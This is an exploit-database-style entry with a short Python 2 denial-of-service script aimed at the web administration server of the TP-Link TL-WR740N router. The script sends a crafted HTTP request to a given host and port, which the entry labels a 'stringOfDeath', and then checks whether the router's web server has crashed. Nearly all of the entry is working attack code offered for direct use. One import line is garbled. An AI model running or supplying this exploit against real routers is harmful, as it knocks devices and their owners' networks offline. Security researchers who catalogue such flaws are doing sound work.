# Exploit title: 150M Wireless Lite N Router HTTP DoS # Date: 28.11.2013 # Exploit Author: Dino Causevic # Hardware Link: http://www.tp-link.com/en/products/details/?model=TL-WR740N # Vendor Homepage: http://www.tp-link.com/ # Contact: dincaus (packetstormsecurity.com) # CVE: # Firmware Version: 3.12.11 Build 120320 Rel.51047n # =================================================================================================== # Just execute Python script below # =================================================================================================== # Usage: python TP_Link_DoS.py # 150M Wireless Lite N Router, Model No. TL-WR740N / TL-WR740ND sending HTTP request with the headers inserted # below in the script will crash HTTP Server. #!/usr/bin/python import socket import import sys urllib2 host = "" port = 0 if(len(sys.argv) >= 2): host = sys.argv[1] port = sys.argv[2] else: print "Invalid number of the arguments." print "Usage " exit(1) print "Connecting on ",host,":",port s = socket.socket(); stringOfDeath = "GET / HTTP/1.1\r\n"; stringOfDeath = stringOfDeath + "Accept-Encoding: identity\r\n"; stringOfDeath = stringOfDeath + "Host: "+ host + "\r\n"; stringOfDeath = stringOfDeath + "Connection: close\r\n"; stringOfDeath = stringOfDeath + "User-Agent: PythonLib/2.7\r\n"; s.connect((host,int(port))) print "Sending packet..." s.send(stringOfDeath) print "Packet sent." print "Check if router http server down..." try: response = urllib2.urlopen("http://"+host+":"+port,None,5) response.read() except socket.timeout: print "Timeout occured, http server probaly down." exit(1)